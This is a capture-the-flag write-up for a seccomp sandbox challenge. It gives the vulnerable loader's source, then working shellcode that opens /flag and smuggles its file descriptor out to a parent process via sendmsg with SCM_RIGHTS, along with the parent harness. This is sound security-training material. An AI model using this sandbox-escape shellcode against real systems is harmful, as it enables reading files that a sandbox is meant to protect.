Attachment:
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#define SANTA_FREQ_ADDR (void *)0x1225000
int setup_sandbox()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
return 0;
}
int main(int argc, char *argv[])
{
puts("📡 Tuning to Santa's reserved frequency...");
void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code != SANTA_FREQ_ADDR) {
perror("mmap");
return 1;
}
puts("💾 Loading incoming elf firmware packet...");
if (read(0, code, 0x1000) < 0) {
perror("read");
return 1;
}
puts("🧝 Protecting station from South Pole elfs...");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
// puts("🎙️ Beginning uplink communication...");
((void (*)())(code))();
// puts("❄️ Uplink session ended.");
return 0;
}
This time, we can only use openat/recvmsg/sendmsg syscalls. sendmsg can be used to send file descriptors between processes. So, inspired by https://stackoverflow.com/questions/28003921/sending-file-descriptor-by-linux-socket, we:
/challenge/northpole, execute openat + sendmsg in the shellcode to send the flag fd to parentThe shellcode part:
// gcc payload.c -o payload.o -ffreestanding -nostdlib && objcopy -O binary -j
// .text payload.o payload.bin && objdump -m i386 -M amd64 -D -b binary
// payload.bin
#include <fcntl.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
// adapted from
// https://stackoverflow.com/questions/28003921/sending-file-descriptor-by-linux-socket
void test() {
// reuse address on stack
unsigned long long rsp_value;
asm volatile("mov %%rsp, %0" : "=r"(rsp_value));
rsp_value -= rsp_value % 4096;
// open flag
int fd;
char path[10] = "/flag";
if (1) {
// arguments
register uint64_t rdi __asm__("rdi") = AT_FDCWD;
register uint64_t rsi __asm__("rsi") = (uint64_t)path;
register int rdx __asm__("rdx") = O_RDONLY;
register int r10 __asm__("r10") = 0;
register int r8 __asm__("r8") = 0;
register int r9 __asm__("r9") = 0;
register int rax __asm__("rax") = SYS_openat;
int ret;
__asm__ volatile("syscall\n" // Execute system call
: "=a"(ret) // Output: result in rax
:
: "rcx", "r11",
"memory" // Clobbered registers
);
fd = ret;
}
// send fd
struct msghdr msg = {0};
char buf[CMSG_SPACE(sizeof(fd))];
for (int i = 0; i < sizeof(buf); i++) {
buf[i] = '\0';
}
struct iovec io = {.iov_base = "", .iov_len = 0};
msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
*((int *)CMSG_DATA(cmsg)) = fd;
msg.msg_controllen = CMSG_SPACE(sizeof(fd));
if (1) {
// arguments
register int rdi __asm__("rdi") = 3;
register uint64_t rsi __asm__("rsi") = (uint64_t)&msg;
register int rdx __asm__("rdx") = 0;
register int r10 __asm__("r10") = 0;
register int r8 __asm__("r8") = 0;
register int r9 __asm__("r9") = 0;
register int rax __asm__("rax") = SYS_sendmsg;
int ret;
__asm__ volatile("syscall\n" // Execute system call
: "=a"(ret) // Output: result in rax
:
: "rcx", "r11",
"memory" // Clobbered registers
);
fd = ret;
}
}
The parent process part:
// adapted from
// https://stackoverflow.com/questions/28003921/sending-file-descriptor-by-linux-socket
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
static int receive_fd(int socket) // receive fd from socket
{
struct msghdr msg = {0};
char m_buffer[256];
struct iovec io = {.iov_base = m_buffer, .iov_len = sizeof(m_buffer)};
msg.msg_iov = &io;
msg.msg_iovlen = 1;
char c_buffer[256];
msg.msg_control = c_buffer;
msg.msg_controllen = sizeof(c_buffer);
if (recvmsg(socket, &msg, 0) < 0)
printf("Failed to receive message\n");
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
unsigned char *data = CMSG_DATA(cmsg);
printf("About to extract fd\n");
int fd = *((int *)data);
printf("Extracted fd %d\n", fd);
return fd;
}
int main(int argc, char **argv) {
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) != 0)
printf("Failed to create Unix-domain socket pair\n");
int pid = fork();
if (pid > 0) // in parent
{
printf("Parent at work\n");
close(sv[0]);
int sock = sv[1];
nanosleep(&(struct timespec){.tv_sec = 0, .tv_nsec = 500000000}, 0);
int fd = receive_fd(sock);
printf("Read %d!\n", fd);
char buffer[256];
ssize_t nbytes;
while ((nbytes = read(fd, buffer, sizeof(buffer))) > 0)
write(1, buffer, nbytes);
printf("Done!\n");
close(fd);
} else // in child
{
close(sv[1]);
int sock = sv[0];
printf("Child at play, sock %d\n", sock);
assert(sock == 3);
// redirect stdin
int payload_fd = open("payload.bin", O_RDONLY);
dup2(payload_fd, 0);
execve("/challenge/northpole-relay", NULL, NULL);
}
return 0;
}